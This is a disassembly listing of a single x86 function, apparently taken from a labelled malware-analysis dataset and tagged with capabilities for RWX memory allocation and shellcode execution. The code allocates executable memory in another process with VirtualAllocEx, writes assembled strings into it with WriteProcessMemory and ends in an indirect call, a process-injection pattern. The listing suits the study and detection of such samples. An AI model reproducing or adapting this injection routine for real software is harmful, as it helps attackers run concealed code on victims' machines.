Function at 0x5187ac
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x214
push 0
push 0
dec ecx
jne 0x5187b4
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x51935e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1041]
xor ecx, ecx
mov edx, 0x1001
call fcn.00403174
push 0x40
push 0x1000
push 0x1000
push 0
mov eax, dword [0x52b2d4]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov ebx, eax
call fcn.00402bb4
mov eax, 0x3e8
call fcn.00403194
add eax, ebx
inc eax
mov edx, dword [0x52b76c]
mov dword [edx + 0x34], eax
mov dl, 1
mov eax, dword [0x417b60]
call fcn.004038b4
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x14]
call fcn.00404718
lea eax, [ebp - 0xc]
call fcn.0051b458
lea eax, [ebp - 0x10]
mov edx, 0x519378
call fcn.004047b0
mov eax, dword [ebp - 0xc]
call fcn.004049d8
mov ebx, eax
dec ebx
test ebx, ebx
jle 0x51888d
mov esi, 1
push dword [ebp - 0x10]
lea ecx, [ebp - 0x1048]
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax + esi - 1]
mov edx, 2
call fcn.00409008
push dword [ebp - 0x1048]
push 0x519384
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00404a98
inc esi
dec ebx
jne 0x518856
lea ecx, [ebp - 0x104c]
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax + esi - 1]
mov edx, 2
call fcn.00409008
mov edx, dword [ebp - 0x104c]
lea eax, [ebp - 0x10]
call fcn.004049e0
lea eax, [ebp - 0x18]
call fcn.0051b458
lea eax, [ebp - 0x1c]
mov edx, 0x519378
call fcn.004047b0
mov eax, dword [ebp - 0x18]
call fcn.004049d8
mov ebx, eax
dec ebx
test ebx, ebx
jle 0x518913
mov esi, 1
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1050]
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + esi - 1]
mov edx, 2
call fcn.00409008
push dword [ebp - 0x1050]
push 0x519384
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00404a98
inc esi
dec ebx
jne 0x5188dc
lea ecx, [ebp - 0x1054]
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + esi - 1]
mov edx, 2
call fcn.00409008
mov edx, dword [ebp - 0x1054]
lea eax, [ebp - 0x1c]
call fcn.004049e0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004049d8
cdq
push edx
push eax
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
add eax, 8
adc edx, 0
mov dword [ebp - 0x1064], eax
mov dword [ebp - 0x1060], edx
lea eax, [ebp - 0x1064]
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0x10
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x519390
call fcn.00409dfc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
push dword [ebp - 0x14]
lea eax, [ebp - 0x1068]
call fcn.0051859c
push dword [ebp - 0x1068]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004049d8
cdq
push edx
push eax
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
add eax, 8
adc edx, 0
mov dword [ebp - 0x1064], eax
mov dword [ebp - 0x1060], edx
lea eax, [ebp - 0x1064]
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0x10
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x5193b8
call fcn.00409dfc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
push dword [ebp - 0x14]
lea eax, [ebp - 0x106c]
call fcn.0051859c
push dword [ebp - 0x106c]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 0x1070]
push eax
lea edx, [ebp - 0x1070]
or ecx, 0xffffffff
mov eax, 0x5193c8
call fcn.00409dfc
mov edx, dword [ebp - 0x1070]
lea eax, [ebp - 8]
call fcn.004047b0
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
push dword [ebp - 0x14]
lea eax, [ebp - 0x1074]
call fcn.0051859c
push dword [ebp - 0x1074]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 8]
push eax
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
add eax, 0x500
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x5193d8
call fcn.00409dfc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 0x1078]
push eax
lea edx, [ebp - 0x1070]
or ecx, 0xffffffff
mov eax, 0x5193f0
call fcn.00409dfc
mov edx, dword [ebp - 0x1078]
lea eax, [ebp - 8]
call fcn.004047b0
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004049d8
cdq
push edx
push eax
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push edx
push eax
mov eax, dword [ebp - 0x18]
call fcn.004049d8
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
add eax, 0x51
adc edx, 0
add eax, 8
adc edx, 0
mov dword [ebp - 0x1064], eax
mov dword [ebp - 0x1060], edx
lea eax, [ebp - 0x1064]
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0x10
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x519390
call fcn.00409dfc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
push dword [ebp - 0x14]
lea eax, [ebp - 0x107c]
call fcn.0051859c
push dword [ebp - 0x107c]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 8]
push eax
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
add eax, 0x500
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x519408
call fcn.00409dfc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 8]
push eax
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
add eax, 0x510
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x5193d8
call fcn.00409dfc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
push dword [ebp - 0x14]
lea eax, [ebp - 0x1080]
call fcn.0051859c
push dword [ebp - 0x1080]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 0x1084]
push eax
lea edx, [ebp - 0x1070]
or ecx, 0xffffffff
mov eax, 0x5193f0
call fcn.00409dfc
mov edx, dword [ebp - 0x1084]
lea eax, [ebp - 8]
call fcn.004047b0
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004049d8
cdq
push edx
push eax
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push edx
push eax
mov eax, dword [ebp - 0x18]
call fcn.004049d8
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
add eax, 0x51
adc edx, 0
add eax, 8
adc edx, 0
mov dword [ebp - 0x1064], eax
mov dword [ebp - 0x1060], edx
lea eax, [ebp - 0x1064]
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0x10
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x519390
call fcn.00409dfc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 8]
push eax
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
add eax, 0x50c
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x5193d8
call fcn.00409dfc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
push dword [ebp - 0x14]
lea eax, [ebp - 0x1088]
call fcn.0051859c
push dword [ebp - 0x1088]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 0x108c]
push eax
lea edx, [ebp - 0x1070]
or ecx, 0xffffffff
mov eax, 0x5193f0
call fcn.00409dfc
mov edx, dword [ebp - 0x108c]
lea eax, [ebp - 8]
call fcn.004047b0
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004049d8
cdq
push edx
push eax
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push edx
push eax
mov eax, dword [ebp - 0x18]
call fcn.004049d8
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
add eax, 0x51
adc edx, 0
add eax, 8
adc edx, 0
mov dword [ebp - 0x1064], eax
mov dword [ebp - 0x1060], edx
lea eax, [ebp - 0x1064]
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0x10
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x519390
call fcn.00409dfc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 8]
push eax
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
add eax, 0x510
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x51941c
call fcn.00409dfc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 8]
push eax
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
add eax, 0x50c
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x519430
call fcn.00409dfc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
push dword [ebp - 0x14]
lea eax, [ebp - 0x1090]
call fcn.0051859c
push dword [ebp - 0x1090]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 8]
push eax
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
add eax, 0x504
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x519408
call fcn.00409dfc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004049d8
cdq
push edx
push eax
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push edx
push eax
mov eax, dword [ebp - 0x18]
call fcn.004049d8
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
add eax, 8
adc edx, 0
add eax, 0x51
adc edx, 0
mov dword [ebp - 0x1064], eax
mov dword [ebp - 0x1060], edx
lea eax, [ebp - 0x1064]
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0x10
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x519390
call fcn.00409dfc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004049d8
cdq
push edx
push eax
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push edx
push eax
mov eax, dword [ebp - 0x18]
call fcn.004049d8
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
add eax, 8
adc edx, 0
add eax, 0x51
adc edx, 0
mov dword [ebp - 0x1064], eax
mov dword [ebp - 0x1060], edx
lea eax, [ebp - 0x1064]
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0x10
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x5193b8
call fcn.00409dfc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 0x1094]
push eax
lea edx, [ebp - 0x1070]
or ecx, 0xffffffff
mov eax, 0x519444
call fcn.00409dfc
mov edx, dword [ebp - 0x1094]
lea eax, [ebp - 8]
call fcn.004047b0
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
push dword [ebp - 0x14]
lea eax, [ebp - 0x1098]
call fcn.0051859c
push dword [ebp - 0x1098]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
lea eax, [ebp - 8]
push eax
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
add eax, 0x508
mov dword [ebp - 0x105c], eax
mov byte [ebp - 0x1058], 0
lea edx, [ebp - 0x105c]
xor ecx, ecx
mov eax, 0x519454
call fcn.00409dfc
push dword [ebp - 0x14]
push dword [ebp - 8]
push 0x5193a0
push 0x5193ac
lea eax, [ebp - 0x14]
mov edx, 4
call fcn.00404a98
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x5192da
inc ebx
xor esi, esi
lea ecx, [ebp - 0x10a0]
mov edx, esi
mov eax, dword [ebp - 0x20]
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x10a0]
lea edx, [ebp - 0x109c]
call fcn.00408b24
mov eax, dword [ebp - 0x109c]
lea ecx, [ebp - 0x24]
mov edx, dword [ebp - 0x28]
call fcn.0049c160
mov eax, dword [ebp - 0x24]
call fcn.00405918
mov edi, eax
inc edi
lea eax, [ebp - 0x2c]
push eax
push edi
mov eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x28]
push eax
mov eax, dword [0x52b2d4]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
add dword [ebp - 0x28], edi
inc esi
dec ebx
jne 0x51927c
xor eax, eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], 1
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x30]
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x30], eax
lea edx, [ebp - 0x40]
mov eax, dword [0x52b76c]
mov eax, dword [eax + 0x34]
add eax, 0x500
mov ecx, 0x14
call fcn.0051b320
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x519365
lea eax, [ebp - 0x10a0]
mov edx, 0xf
call fcn.0040473c
lea eax, [ebp - 0x1054]
mov edx, 4
call fcn.0040473c
lea eax, [ebp - 0x24]
mov edx, dword [0x4988d8]
call fcn.00405ad8
lea eax, [ebp - 0x1c]
mov edx, 6
call fcn.0040473c
ret